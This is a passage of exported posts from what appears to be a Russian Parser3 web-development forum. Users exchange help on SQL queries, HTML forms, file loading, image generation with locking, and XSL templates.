И так в каждом разделе: Ссылки, Статьи, Файлы, Новости, Руководство, ЧаВо и будет Форум.\
И всё это хозяйство в одной таблице!!!"
"38043","Смотрите @dbconnect[] из 4-го урока. Это по части вашего ^db.\
\
По части вашего @sql. Если отвлечься от реального смысла (есть ли он) этого метода, писать надо примерно так:\
[code]\
@sql[code]\
^connect[mysql://...]{$result[^table::sql{$code}]\
[/code]\
\
И потом вызывать:\
[code]$variable[^sql[...код...]][/code]\
\
Итого: ответы на все ваши вопросы есть в документации по Парсеру == читайте доку до."
"38044","Ну что никто не выкладывает тестов? Я бы сделал, но, к сожалению, не знаю Парсера."
"38046","Причем здесь копи/паст и тем более города авторов? Вам нужна помощь - вы приходите сюда и спрашиваете. Не нужна - не приходите. Всё просто."
"38047","Пытаюсь написать \"поисковую систему\", которая будет затрагивать сайты только определенной области промышленности (включая доски объявлений). Пока я хочу понять ключевые моменты.\
\
По сбору информации:\
\
1. Робот должен разбирать текст сразу на сайте или брать код в базу и разбирать уже там?\
2. Далее, нужно ли чистить html теги, если нужно то какие и как? Самому через replace и match?\
3. Узнал, что в php есть функция strip_tags, можно ли использовать функции php внутри парсерного кода?\
\
Пока все. :) Если кто знает поделитесь опытом :) Если интересен проект, возможно совместное создание. Если напишу, проект пойдет на woodtrade.ru Пока есть опыт только по сбору с отдельно взятых сайтов ;-),"
"38048","Обе системы бесплаты и с открытыми исходниками. Кстати как я понял второй это форк первого.\
http://www.mnogosearch.org/\
http://www.dataparksearch.org/"
"38049","а смысл выкладывать? с чем вы сравните? какие-то операции выполняемые программой A на компьютере A1 с программой B на компьютере B1? и можно будет сделать выводы? какие?\
\
далее, я почти уверен что сравнение в лоб [b]скорости[/b] выполнения кода циклов, xsl, match [b]поотдельности[/b] у персера будет медленнее по той простой причине что он сам внутри ещё до пользовательского кода делает кучу работы по перекодировкам, taint и т.д. (хотя в принципе можно сравнить).\
\
т.е. по моему корректнее сравнить на [b]одной системе[/b] код на парсере с чем-то в котором есть набор разных операций, причем код не совсем синтетический, а более менее близкий к реальным задачам. ну не бывает у меня циклов от 1 до 10000, не нужны мне они. зато $form и tainting используется почти в каждом скрипте.\
\
а к вопросу о том, почему никто не выкладывает тесты: здешим посетителям не особо интересно сколько скрипт ,eltn выполняться 0.05 сек или 0.3 сек, зато интересно сколько они будут этот скрипт писать: 10 мин или 1 час."
"38051","хотя учитывая как последнее время в студии делаются формочки (открываются в новом окне без навигации, как тут) - мне это не очень критично, а вообще конечно не хорошо.\
\
хотя думаю что защит от спама с кешированием и не придумать."
"38052","Впрос конечно не совсем про parser просто я знаяю что здесь есть люди которые в этом разбираются.\
\
Вобщем вот я подсовываю апачу ложные урлы с помощь: \
\
RewriteEngine On\
RewriteBase /\
RewriteRule /$ index.php\
\
и затем их обрабатываю.\
\
При таком подходе я могу писать в урле всё что угодно, но есть один минус - если мне надо например просмотреть содержимое папки images то ничего не получиться. \
\
Вопрос можно ли изменить RewriteRule /$ index.php так чтобы именно при вводе www.site.ru/images/ мне выводилось содержимое папки, а во всех остальных случаях срабатывал mod rewrite."
"38054","Насколько я понял, данные системы предназначены для поиска внутри сайта. На данный момент, меня очень интересует создание кода для сканиования нужных веб-сайтов. Я делал сканеры для отдельно взятых сайтов, теперь же нужно сделать универсальный, что к сожалению приведет к снижению точности собранных данных."
"38055","Неправильно понял, обе системы индексят любое количество заданых серверов."
"38056","в мануале написано, что нельзя. Текстовые файлы у меня получилось передать как значения полей формы. \
Картинки, прочие бинарные файлы после передачи не распознаются, не открываются и теряют в весе. Можно ли как-то это обойти?\
\
P.S. если нельзя, вот альтернативная задача: я хочу автоматом забросить на веб-сервер файлы с локалхоста. Апач на локалхосте подвешен ко всем IP, но из интернета не виден."
"38057","http://www.parser.ru/docs/lang/formfield.htm"
"38058","Parser 3.1.3\
\
Пишем:\
[code]\
$prefix[/adv]\
$url[/adv/documents]\
$url[^url.trim[start;$prefix]]\
[/code]\
\
В [code]$url[/code] получаем \"ocuments\"\
\
Заменяем \"documents\" на \"bocuments\":\
[code]\
$prefix[/adv]\
$url[/adv/bocuments]\
$url[^url.trim[start;$prefix]]\
[/code]\
\
В [code]$url[/code] получаем \"bocuments\"\
\
Все понятно, что происходит, то же самое будет с \"acuments\" и \"vcuments\"\
Вопрос - это так должно быть? Отрезаются символы, а не подстрока?"
"38059","Также можно указать те [b]буквы[/b], которые необходимо отсечь.\
Хм. Вот все же это очень неожиданно насчет букв, может, написать по-другому: \
\"Отсекаются все [b]символы[/b], совпадающие с указанными\"..\
Или еще как-нибудь...А то голову сломал, пока заподозрил этот метод."
"38061","Добросовестно поюзал поиск по форуму, но не нешел ответа.\
Если просто, распечатать ссылки, то они все работают, открываються и загружаются. а в цикле с нет =(\
[code]\
^tab.menu{\
$file[^file::load[text;http://server.com^taint[$tab.1]]]\
$text[$file.text]\
$text\
}[/code]\
Так тоже не работает\
[code]\
^tab.menu{\
$file[^file::load[text;http://server.com${tab.1}]]\
$text[$file.text]\
$text\
}[/code]"
"38062","Метод возвращает пустоту."
"38064","1. Проверьте таблицу на пустоту\
2. Попробуйте вывести содержимое 1-го столбца без загрузки файлов\
3. Попробуйте ^taint[uri][$tab.1]\
\
Да, и вы не сказали возникает ли ошибка? Может файлов вообще нет?\
\
P.S. Уберите переменную $text она лишняя, $file.text является самодостаточным."
"38066","Ему нужно передать файл с сервера куда-то, а не взять у пользователя. Это существенно меняет задачу."
"38067","из описания [quot]каждый четный вызов возвращает $color1, каждый нечетный - $color2.\
вызов безе параметров - сброс последовательности[/quot]\
\
теперь, неверя ни кому, лезем в lib.p и глазками смотрим: [code]$result[^if(^color_switcher.int[] % 2){$color1}{$color2}][/code]\
теперь лезем в доки и смотрим, что же за такая странная конструкция $result делает в нашем, ничего не возвращаеющем методе:\
[quot]Все методы и операторы имеют локальную переменную result. Если ей присвоить какое-то значение, то именно оно будет результатом выполнения метода. Значение переменной result можно считывать и использовать в вычислениях. [/quot]"
"38068","не забудьте про «пожалуйста», админы люди добрые и при добром отношении делают добро."
"38069","однако вероятность, что будет всё хорошо повышается, если вы будете уже сейчас использовать .cgi версию.\
\
всегда стоит стараться быть максимально ближе к конфигурации конечного hosting."
"38071","[code]\
$variable[^sql{...код...}]\
[/code]\
фигурные скобки!"
"38072","Непонятно все-таки что нужно изменить, что работал [b]^color[][/b]..."
"38073","Сабж.\
Но нужно не кнопкой, а текстовой ссылкой. На примере этого кода.\
[code]\
<form name=\"form1\" method=\"post\" action=\"index.html\">\
Логин<br>\
<input name=\"ind_kode\" type=\"text\" class=\"winter\">\
Пароль<br>\
<input type=\"password\" name=\"pass\"  class=\"winter\"><br><br>\
<a href=\"privat.html?$form:ind_kode&$form:password\">ВХОД</a>\
</form>\
[/code]"
"38075","открыть глаза и в случае неясностей обратиться к документации, FAQ, поиску форума..."
"38076","<a href=\"privat.html?$form:ind_kode&$form:password\" onClick=\"document.forms['form1'].submit()^;\">ВХОД</a>\
\
было б еще понятно зачем..."
"38077","не могу авторизироваться на этом форуме, пишет [b]out of memory: failed to allocate clean 5124 bytes. heap_used=23781376, heap_free=0, bytes_since_gc=15099664, total_bytes=32297548[/b]"
"38080","Дела такие.....\
\
У меня файлы записаны так: [b]photo-00-000.jpg[/b]\
В коде так:\
[code]$photos[^file:list[/pic/photos/;photo-${id}-*]][/code]\
Как написать, чтоб \"тире\" не воспренималось как промежуток....\
(Когда id=7 он показывает и 70, и 71 и т.д.)\
\
Помогите, плиз...."
"38081","Я, видимо, неправильно выразился.\
Данные передаются, если они ранее были вытащены, например из базы и записаны в форму.\
А так, чтобы юзер ввёл что надо и эти только что введённые данные передались, не получается."
"38082","[quot]Попробуйте вывести содержимое 1-го столбца без загрузки файлов[/quot]\
да рисуются ссылки которые все работают\
[code]^taint[uri][$tab.1]\
[/code]\
так рисуются нерабочие ссылки (из винды по крайней мере)\
По одному файлы загружаються, если пути записаны как строки. Если как переменые то не работает =)"
"38083","1. откуда берется содержимое $tab (если \"грязные\" данные, то используете taint, только не такой как подсказал Eugene, т.к. на этот раз он не прав)\
2. покажите содержимое $tab"
"38084","как много тире?"
"38085","Могу написать зачем.\
Делаю возмлжность обновления/изменения записей.\
У меня на одной странице форма с полями для ввода пароля и логина. Плюс кнопка запроса.\
[code]\
<form name=\"form1\" method=\"post\" action=\"\">\
Логин\
<input name=\"ind_kode\" type=\"text\" class=\"winter\">\
Пароль\
<input type=\"password\" name=\"pass\"  class=\"winter\"><br><br>\
<input type=\"submit\" name=\"Submit\" value=\"Вход\">\
</form>   \
#Всё, нормально, данные из базы вытаскиваются.\
[code]\
\
\
А вот дальше... \
Создаваемая ниже форма не обхватывает создаваемые поля и, следовательно запрос на обновление не выполняется.\
В чём проблема, не пойму.\
[code]\
<form name=\"form22\" method=\"post\" action=\"\">\
#Сюда в пишем вытаскиваемые данные\
Возраст: <input name=\"vozrast\" type=\"text\" value=\"$show_user.vozrast\" size=\"5\">\
	......\
	......\
<input type=\"submit\" name=\"zamena\" value=\"Обновить\">\
</form>\
[/code]\
и т.д.\
\
Вот я и решил выводить нужные данные в отдельной странице."
"38086","Привет! Не посмотрите этот код и не скажите где здесь ошибка?\
выдает \
[i]MAIN method_frame may not be overwritten with table, store it to variable instead[/i]\
Спасибо!\
\
\
[code]\
@show_allnews[]\
if($allnews){\
^allnews.menu{\
$d[^dtf:parse[$allnews.dt]]\
$news_date[^dtf:format[%d %h %Y;${d.year}-${d.month}-${d.day};$dtf:rr-locale]]\
\
<table width=\"600\" height=\"100\" border=\"0\" align=\"center\"  cellspacing=\"0\" class=\"newtable\">\
	<tr>\
		<td width=\"100\" rowspan=\"2\"><h5 align=\"right\"><img src=\"^lib:default[$allnews.img;/images/blank.gif]\" width=\"100\" height=\"100\" border=\"2\"></h5></td>\
		<td width=\"10\"></td>\
		<td width=\"420\" height=\"10\" nowrap><strong><a name=\"$allnews.new_id\">$news_date | $allnews.title</a></strong></td>\
		<td width=\"80\"><div align=\"right\"><strong>$allnews.new_type_id</strong></div></td>\
	</tr>\
	<tr>\
		<td></td>\
		<td height=\"90\" colspan=\"2\" class=\"just\">^untaint{$allnews.body}</td>\
	</tr>\
</table>\
}{<br>}\
}{новостей нет!}\
[/code]\
\
загрузка таблицы allnews из SQL проходит нормально.\
все классы используемые подключены и работают."
"38089","Парсер предназначен исключительно для разработки CAD-систем.\
\
:)"
"38090","/tab_2t.shtml?razd=76&seas=357&team=2253\
/tab_2t.shtml?razd=76&seas=357&team=415\
/tab_2t.shtml?razd=76&seas=357&team=413\
/tab_2t.shtml?razd=76&seas=357&team=421\
/tab_2t.shtml?razd=76&seas=357&team=7717\
/tab_2t.shtml?razd=76&seas=357&team=2252\
/tab_2t.shtml?razd=76&seas=357&team=419\
/tab_2t.shtml?razd=76&seas=357&team=418\
/tab_2t.shtml?razd=76&seas=357&team=422\
/tab_2t.shtml?razd=76&seas=357&team=3258\
/tab_2t.shtml?razd=76&seas=357&team=416\
/tab_2t.shtml?razd=76&seas=357&team=414"
"38092","Спасибо... Я глючу.. :)"
"38093","Из формы берётся выражение в одной кодировке, а после обработки через ^process[^var[text]] кодировка меняется. В итоге в sql запросе получается так: \
\
select... where ... and ( (lower(firms.name) like '%ЙНС%') ) \
\
Кодировка текста в базе и текста в условии like '%ЙНС%' -- не совпадают и результа поиска нулевой (((\
\
Как бороться?"
"38094","перепроверьте, сохраняя по ходу обработки кусочки текста в файлики на диск."
"38097","А точнее??... В форуме про ^color[] я ничего подходящего не нашёл, кроме ссылок на [url=\"http://www.parser.ru/examples/lib/\"]http://www.parser.ru/examples/lib/[/url]."
"38098","[quot][b]*[/b] - совпадает с неограниченным количеством любых необязательных символов[/quot]\
\
у людей недостаточно хорошо разбирающихся в тонкостях регулярных выражений такая формулировка может вызывать параллель с т.н. групповыми символами (wildcard), иногда использующимися в поисках-по-шаблону, есть подозрение что тут как раз такой случай.\
\
Как сформулировать точнее не усложняя при этом подачу материала, я не знаю... :("
"38099","[code]\
$file[^file::load[text;http://www.marathonbet.com/tab_2t.shtml?razd=76]]\
$text[$file.text]\
$team{^table::create{team}}\
$team[^text.match[href=\"(.{20,100})\">[а-я,А-Я]+][g]]\
^team.menu{\
$file[^file::load[text;^taint[file-spec][http://www.marathonbet.com${team.1}]]]\
$text[$file.text]\
}\
[/code]"
"38100","Значит делаю раздел новости. На 1ю странцу выводиться краткий текст новости из sql и линк на ее полный текст вида:\
<a href=\"/news/read/?id=${news.id}\">Подробнее</a>, где id это поле в sql.\
(По адресу /news/ выводяться все новости одним махом, но тоже краткие, для просмотра полной версии решил сделать отдельный урл).\
Однако данный запрос не обрабатывается, просто открывается страница, а место где должен быть текст пусто -(((. В этом самом месте код такой:\
^connect[mysql://root@localhost/search]{\
$news[^table::sql{select\
      body \
   from\
      news \
   where\
      id='$id'\
   }]\
}\
По видимому я неправильно обозначил переменную $id, т.к. если вместо нее поставить цифру, то соотв. текст отображается...\
Помогите, плз, разобраться..."
"38101","Вам нужно было значение из запроса? Ну так напишите. Читайте документацию до."
"38102","После нанесения текста на картинку, как ее вывести не в новом пустом окне, а в нужном месте?"
"38106","либо изложите задачу наконец-то словами...\
изложите краткой, но понятно (красткость - сестра таланта (с))"
"38107","Делаю так:\
$square[^image::create(150;25;0xFFFFFF)] \
^square.font[1234567890;digits.gif](0) \
^square.text(1;1)[128500] \
^square.html[]\
Выводит белую картинку. Тогда такой вопрос: как сохранить сделанные изменения?"
"38108","\"Документация до\" это где? Ткните носом, плз..."
"38109","Сам разобрался, сорри за ламерские вопросы...-)"
"38110","Не правильные ссылки?\
Но все содержимое я вам показал они все открываються в браузере.\
Совсем запутался..."
"38111","тут: http://www.parser.ru/forum/?id=38083 я вам ответил что делать. надо написать taint с [b]правильным[/b] языком."
"38114","я так понял, что данный метод (^square.html[]) должен создать\
HTML-тег: \
<img src=\"$image.src\">\
Или нужно как-то дополнительно вызывать? Все делал, как написаноо в доке. Выводит созданную белую картинку. Если добавляю $response:body[^square.gif[]] все нормально, но выводится в пустом окне."
"38115","я так понял, что данный метод (^square.html[]) должен создать\
HTML-тег: \
<img src=\"$image.src\">\
Или нужно как-то дополнительно вызывать? Все делал, как написаноо в доке. Выводит созданную белую картинку. Если добавляю $response:body[^square.gif[]] все нормально, но выводится в пустом окне.\
[code]\
@bl[]\
$square[^image::create(150;25;0xFFFFFF)] \
^square.font[1234567890;digits.gif](0) \
^square.text(1;1)[128500]\
^square.html[]\
$response:body[^square.gif[]]\
[/code]\
Затем ^bl[] просто втавляю в html файл. Выводится сгенерированный текст в картинке, но в новом окне, вернее пустом (окно не меняется)\
Попробовал удалить строку $response:body[^square.gif[]] - выводится белая картинка без чисел.\
\
Открываю сгенерированный html в 1 случае:\
...html code... <img border=\"0\" height=\"25\" width=\"150\" />\
\
Может ее сохранять на диск надо?\
\
во втором случае результат меня немного удивил:\
GIF87а- дальше куча квадратиков и символов...\
"
"38116","я тоже с таким парился долго... там некоторые знаки заменяются на коды, нужно использовать taint"
"38117","вы не ответили на вопрос: как вы вставляете картинку в нужное место html документа?\
\
что вы пишите в html?\
где вы кладете картинку?"
"38118","Я там добавил подробности : [url=\"http://www.parser.ru/forum/?id=38115\"]http://www.parser.ru/forum/?id=38115[/url]"
"38120","$file[^file::load[binary;^taint[file-spec][$rab]]]"
"38122","я же ответил:\
На вопрос: как вставляете картинку в хтмл:\
\"Затем ^bl[] просто втавляю в html файл\"\
в хтмл пишу ^bl[]\
\
Картинку не сохраняю: \"Может ее сохранять на диск надо?\""
"38123","у вас есть index.html и image.gif\
\
вопрос 1, который я спрашиваю уже по моему третий раз: что вы пишите в html чтобы там в каком-то месте появилась картинка?\
\
вопрос 2: вы понимаете что html файл и файл с изображением - это всегда 2 разных файла?\
\
вопрос 3: вы знаете, что броузер не смотрит на .gif указанный в src картинки, и там можно указать .bla-bla-bla, .html и т.д.?"
"38124","[code]\
@bl[]\
$square[^image::create(150;25;0xFFFFFF)] \
^square.font[1234567890;digits.gif](0) \
^square.text(1;1)[128500] \
$image[^square.gif[]]\
^image.save[binary;square.gif]\
<img src=square.gif>\
[/code]\
Код сохраняет картинку с цифрами, осталось дописать чтоб цифры генерились.\
Есть один вопрос по работе: если данный код выполнится одновременно несколько раз, не будет ли проблем с сохранением square.gif? они не заменятся?"
"38125","по первому вопросу: в том то и была запинка, что я думал что \
.html[] создаст тег и писать <img src=\"...\"> не надо.\
по второму - знаю, сейчас понятно, что при $response:body[^square.gif[]] мы смотрим на картинку а не на хтмл.\
по третьему... :)) не понял :)"
"38126","проблемы будут.\
нужно использовать lock для того чтобы разрулить их."
"38127","Вы уже наврено догадались, что я хочу получить в итоге - картинку с кодом для защиты от спама. Про lock:\
А если (теоретически) 5 пользователей запросило данный скрипт одновременно, то сколько им ждать? до загрузки страницы, а потом картинка заменится?"
"38130","Пытаюсь совместить Новости с Auth классом.\
Идея простая. Авторизованный пользователь должен иметь возможность писать свои новости и их же редактировать...\
В таблицу [b]article[/b] добавил поле [b]writer_id[/b] int(10) В это поле, для каждой записи, надо добавлять значение равное полю [b]auser_id[/b] из таблицы [b]auser[/b] текущего пользователя. Не могу сообразить как получить его (текущего авторизованного пользователя) [b]ID[/b]... Подскажите как?\
\
ЗЫ. Если имеет значение. \
Новости в отдельном классе. Пробовал создать в нём объект класса auth, но почему-то [code]$logon_data.[auth.name][/code] не определён. Наверно что-то не тоделаю %-)"
"38131","Получить id залогиненого юзера просто - об этом кстати написано в коментариях самого класса.\
[code]\
$auth_data.user.user_id\
[/code]\
Приведите код: как и где подключаете и создаете экземпляр класса, чтобы получить более вразумительный ответ, чем subj"
"38133","Не получается поставить парсер на сервер.\
Хостер : M-10.ru\
\
Используют : \
Unix FreeBSD v4.10.\
Apache+PHP4.\
\
Проблема:\
Выдаёт ошибку 500\
\"Internal Server Error\"\
Незнаю что делать..."
"38134","Воспользовался ответом: http://www.parser.ru/forum/?id=36468\
Все заработало..."
"38135","Да нет. Наверняка я что-либо путаю. \
Словами. На одной странице вводим данные, в другой на основании этих данных посылаем запрос.\
Проблема. Данные не передаются из форм.\
[code]\
#Метод для показа форм и отправки данных.\
@privat_data[]\
<form name=\"form1\" method=\"post\" action=\"priv_data.html?login=$form:login&password=$form:password\">\
Логин\
<input name=\"login\" type=\"text\" class=\"winter\">\
Пароль\
<input type=\"password\" name=\"password\"  class=\"winter\">\
<input type=\"submit\" name=\"Submit\" value=\"Вход\">\
</form>\
\
\
#Метод для страницы получателя (priv_data.html). Этот запрос не выполняется.\
@get_data[]\
^if(def $form:login && def $form:password){\
^connect[$connect_string]{\
$show_user[^table::sql{ SELECT  id, login, wsearch, name, vozrast, contact, city, about, photo, password, date FROM таблица WHERE login='$form:login' AND password='$form:password'}[$.limit(1)]]\
....\
[/code]\
----------------------------------------\
Всё нормально, если оба эти метода вызываются с одной страницы. Но там другие траблы."
"38136","(ровно столько, сколько уходить на генерацию страницы)"
"38137","1. вы пытаетесь передать логин/пароль методом GET а в форме указываете метод POST\
2. зачем эти пустые поля input, вы надеетесь что браузер сам подставит туда значения на основе action?"
"38138","теперь дело за малым - осталось только объяснить человеческим языком что такое квантификатор (повторений [b]чего[/b]?).\
\
\"Метасимвол, следующий за элементом регулярного выражения (символом, группой символов или символьным классом) и определяющий количество повторяющихся экземпляров этого элемента, называется квантификатором\". Это я Фридла попробовал адаптировать :) В общем, что-то вроде этого, только более доходчиво..."
"38139","Здравствуйте!\
\
У меня есть два вопроса, на которые я пока нашел лишь расплывчатые ответы. Буду благодарен за любые комментарии по теме.\
\
1.	В PHP существует возможность реализовать средствами языка HTTP-аутентификацию (http://ru2.php.net/features.http-auth). При условии, конечно, что PHP собран как модуль Apache. Вопрос: существуют ли какие-либо встроенные механизмы в языке Parser3, позволяющие реализовать аналогичную функциональность, а именно, HTTP-аутентификацию? Если нет, можно ли добиться желаемого другим способом? Возможно ли это сделать в CGI версии интерпретатора?\
\
2.	Предположим, на клиентской стороне отключены cookies, либо их не поддерживает браузер. Каким образом средствами Parser3 можно проконтролировать данный факт, с целью, например, выдачи посетителю диагностического окна, предупреждающего о необходимости включения поддержки cookies?\
\
Не знаю, насколько это серьезные вопросы, однако, уверен, они являются актуальными. Прошу извинить, если побеспокоил по пустякам.\
\
Спасибо."
"38140","1. Ой дурак.... Я, в смысле.... Вообще внимания на метод передачи не обращал....\
Спасибо."
"38141","по 1 вопросу не знаю, по второму вот дискуссия на эту тему:\
[url=\"http://www.parser.ru/forum/?id=3665\"]http://www.parser.ru/forum/?id=3665[/url]"
"38142","простите за off, просто интересно"
"38143","Т.е. будет так?\
[code]\
@bl[]\
^file:lock[/image.lock]{ \
$square[^image::create(150;25;0xFFFFFF)] \
^square.font[1234567890;digits.gif](0) \
^square.text(1;1)[128500] \
$image[^square.gif[]]\
^image.save[binary;square.gif]\
<img src=square.gif>\
}\
[/code]"
"38144","есть предложение реализовать в парсере поддержку чтения бинарных файлов. первый пример применения такого класса, что приходит в голову - на сайт выкладываются, скажем, архивы zip, а парсер сам читает их содержимое (список файлов и их атрибуты) и выводит (кешируя, само собой).\
Методы класса могут быть, например, такими:\
\
^readbyte[offset]\
^readword[offset]\
^readdword[offset]\
^readstring[offset, length]\
...\
\
для чтения структур удобно будет передавать хэш вида:\
\
$struc[\
 $.field1[word]\
 $.field2[dword]\
 $.field3[30]  -- будем считать, что это строка длиной 30 байт\
]\
\
естественно, бинарный файл не должен считываться целиком в память.\
\
какие ваши соображения?"
"38145","[code]\
@bl[]\
^file:lock[/image.lock]{ \
$rand[^math:random(1000)]\
$square[^image::create(150;25;0xFFFFFF)] \
^square.font[1234567890;digits.gif](0) \
^square.text(1;1)[$rand] \
$gif[^square.gif[]]\
^gif.save[binary;square.gif]\
<img src=square.gif>\
}\
[/code]\
Несколько вопросов:\
1. Как в $rand[^math:random(1000)] указать нижний предел?\
2. Здесь lock рабочий?\
3. Если браузер пользователя кеширует картинки, что делать?"
"38147","1. Число = Нижний предел + Рандом (Верхний Предел - Нижний Предел)\
2. RTFM (ему в 99,99% стоит верить)\
3. Простой способ: Имя файла = ^math:uuid или ^math:uid64 или ^math:random. (-f для проверки существования файла с таким именем). И тогда при вашем способе не нужен lock"
"38148","спасибо за формулу :)\
я тоже сначала подумал про генерацию уникальных имен для картинок, но как их потом удалять? :)"
"38149","как-то объясняли, как для разных вирт-хостов делать каждому свои каталоги с классами, но найти не могу.\
можеткто-то помнит?"
"38150","понял как удалять...\
\
@bl[]\
$rand[^math:random(1000)]\
$square[^image::create(150;25;0xFFFFFF)]\
^square.font[1234567890;digits.gif](0) \
^square.text(1;1)[$rand] \
$gif[^square.gif[]]\
^gif.save[binary;$rand_square.gif]\
<img src=\"$rand_square.gif\">\
\
в строке ^gif.save[binary;$rand_square.gif] ошибка:\
write failed: Permission denied (13), actual filename 'z:/home/test1.ru/www/'\
Пробую подставить руками цифры - все работает. В чем дело?"
"38151","${rand_square}.gif\
\
Вообще ИМХО вы идете неправильным путем... пишите отдельный скрипт, отдающий в выходном потоке картинку, а потом как вам уже подсказывали делаете <img src=\"generator.html\"> "
"38152","Я достаточно хорошо знаю php и mysql.\
Создаю сайты.\
\
Но раньше я использовал различные CMS-ки, дабы создать динамику и облегчить процесс управления будующим владельцам.\
Я и раньше знал, что есть такой какой-то \"ПАРСЕР\", т.к. не раз бывал на www.design.ru и лазил по портфолио.\
Так сказать смотрел какими должны быть сайты. И видя там надпись сайт создан на парсере, думал, что парсер это нечто сложное и очень навороченное.\
Типа, для того чтоб создать сайт на парсере надо как минимум человек 10 программеров.\
\
Но вот в поисках новой CMS, СЛУЧАЙНО заглянул на сайт парсера.\
Скачал любимый \"ДЕНВЕР\" с уже установленным парсером, и начал разбираться.\
БЕГЛО (только изза того что представляю себе как подобные вещи работают) прошелся по всем УРОКАМ.\
И был просто шокирован его удобством!\
\
Я не понимаю как я только раньше обходился без него.\
Зато теперь твердо знаю, что отныне буду создавать сайты работающие только на парсере!\
\
Это действительно очень мощьный а также простой в освоении и очень удобная технология для создания сайтов...\
Огромное спасибо разработчикам (сотрудникам студии Лебедева) и всем остальным кто помогал создавать ПАРСЕР!\
Теперь на создание сайта у меня будет уходить куда меньше времени, а следоватьно нервов и терпения.\
Отсюда вывод - парсер не только помогает делать сайты, но бережет здоровье програмистов! :)\
\
Парсер - лечит! :)\
Надеюсь, что когда я достаточно хорошо его освою, смогу предложить вам новые интересные варианты его применения!\
Еще раз спасибо!\
\
С уважением, Кирилл Артёменко. Анапа."
"38153","да, через generator.html работает. Несколько вопросов: \
Как можно избежать кеширования картинки браузером? переменные GET тут не помогут.\
При таком способе проблемма одновременного использования отпадает?"
"38154","Полностью с тобою согласен.\
\
Я сам на Parser вышел примерно так же как и ты."
"38155","1. скажите, что означают следующие конструкции: ^if, $result\
Ответте сходу, незадумываясь и не смотря в доки... \
2. Что я пытаюсь сделать? \
[code]\
@my[name]\
^if(def $name){\
   $result[^name.trim[]]\
}{\
   $result[]\
}\
[/code]\
что возвратит метод ^my[name] и ^my[]?\
\
можете ответить на \
эти вопросы только себе, надеюсь после правельных (!) ответов вы разберетесь с этим @color[]..."
"38157","Как избежать кэширования картинки, если работать через\
<img src=\"generator.html\">?"
"38158","Дело вот какое: есть html-ные файлы, которые я открываю парсером. Потом мне нужно убрать из полученной строки (считываем содержимое файла в строку) убрать все html-теги. Если что-нибудь в парсере стандартное для этого, или придётся вручную удалять?\
Нужно для программы поиска по сайту."
"38159","Ф.Ницше:\
Наиковарнейший способ причинить вред какой-либо вещи — это намеренно защищать её ложными доводами.\
\
P.S. очень \"мощная\" агрументация\
P.P.S. про \"лечение\" - сильно сказано"
"38160","1. <img src=\"images/^math:uuid\"> + mod_rewrite на generator.html\
2. копните в сторону $response:cache-control[no-store, no-cache, must-revalidate], но я не уверен, что для картинок работает..."
"38161","Об чём вопрос не понятно...\
Есть разные студии, есть разные разработчики, есть разные задачи."
"38164","\"Студии\" - с большой буквы, надеюсь понятно, что речь идет о Студии Артемия Лебедева"
"38165","Мощный в плане разработок веб-сайтов, там же и удобный."
"38167","Мощным конечно его не назовёшь. Но удобный до ужаса :)\
Изучив парсер, несколько раз брался за PHP и чуть в монитор не плевался от неудобств и т.п. В общем респект :)"
"38168","По кукам понятно, спасибо. Хотя до конца не ясно, как заставить страницу обновиться..."
"38170","Я пока не оформлял, но Опера не кэширует.\
[code]\
@bl[]\
$SID[$form:SID]\
$rand[$SID]\
$square[^image::create(150;25;0xFFFFFF)]\
^square.font[1234567890;digits.gif](0) \
^square.text(1;1)[$rand] \
$response:body[^square.gif[]]\
\
@bl2[]\
$rand[^math:random(7000)]\
$rand(1000+$rand)\
<img src=\"generator.html?SID=$rand>\
[/code]\
Одна непонятная вещь. Хочу сделать чтобы $SID и $rand различались.\
В @bl[] пишу $rand($SID-13) - картинка не выводится. Пишу $rand(100-13) - выводится... :) в чем тут дело ни как не пойму."
"38171","\"Если Вам лижут зад, не обольщайтесь возможно смазывают!\"\
Шутка конечно! :)"
"38174","[quot]Я достаточно хорошо знаю php и mysql.\
Создаю сайты.[/quot]\
\
В народе говорят...\
Если вы что-либо создаете - попытайтесь понять, что вы делаете.\
Если вы не понимаете, что делаете - тогда делайте это тщательно..."
"38175","и вопрос больше касается управления, чем программирования\
просто хотелось узнать как с этим дело в лучшей (imho) веб-студии \
\
/если это не секрет/\
\
кому будет интересно, книга:\
http://www.itshop.ru/Level4.asp?ItemId=2138"
"38176","Вот понадобилось, чтоб шаблон из номер месяца выдавал его название. Сначала решил сделать это case'ами (т.е. используя <xsl:choose/>), но понял, что этот путь не для меня:-) Решение нашел вот такое:\
[code]\
<xsl:template match=\"date\">\
<!-- в атрибуте @month указан номер месяца. Здесь мне нужно получить его название-->\
<xsl:call-template name=\"month-name\">\
  <xsl:with-param name=\"num_of_month\" select=\"@month\"/>\
  <xsl:with-param name=\"month_list\" select=\"'1января;2февраля;3марта;4апреля;5мая;6июня;7июля;8августа;9сентября;10октября;11ноября;12декабря;'\"/>\
</xsl:call-template>\
</xsl:template>\
\
<xsl:template name=\"month-name\">\
  <xsl:param name=\"num_of_month\"/>\
  <xsl:param name=\"month_list\"/>\
  <xsl:value-of select=\"substring-before(substring-after($month_list, $num_of_month), ';')\"/>\
</xsl:template>\
[/code]\
Хотел бы услышать ваши комментарии, если что-то неправильно."
"38178","и мы вам туда спама накидаем :)"
"38179","Не могу догнать, как не все сразу значения $list.name втолкнуть, а по очереди, т.е. нужно что-то типа\
\
$picture[ \
   $.1[1.jpg] \
   $.2[2.jpg] \
   $.3[3.jpg] \
]"
"38180","[code]\
$pictures[^hash::create[]]\
^list.menu{\
   ^if(...){\
      ^pictures.add[\
         $.[^list.line[]][^list.name.trim[]]\
      ]\
   }\
}\
[/code]"
"38181","Немного переделал...\
[code]\
@bl[]\
$rand[$form:rand]\
#$rand($rand+13)\
$square[^image::create(150;25;0xFFFFFF)]\
^square.font[1234567890;digits.gif](0) \
^square.text(1;1)[$rand] \
$response:body[^square.gif[]]\
\
\
@bl2[]\
$rand[^math:random(7000)]\
$rand(1000+$rand)\
<img src=\"generator.html?SID=^math:uid64[]&rand=$rand\">\
#$rand($rand+13)\
<form method=\"post\">\
<input type=\"text\" name=\"nm\">\
<input type=\"submit\" name=\"sub\">\
</form>\
^if(def $form:sub){\
^if($form:nm==$rand){True}{False}\
}\
[/code]\
Получается данные из формы запаздывают по отношению к сгенерированным... Т.е. всегда False Я уже с этими 5 строчками второй день сижу :) Если доделаю, обязательно выложу."
"38182","готового встроенного механизма нет,\
но из модуля к Apache, насколько помню, переменная окружения HTTP_AUTH доступна.\
\
декодировать base64 сейчас встроенными средствами нельзя, но пока можно вызвать внешний скрипт, и скоро будет встроенное декодирование.\
\
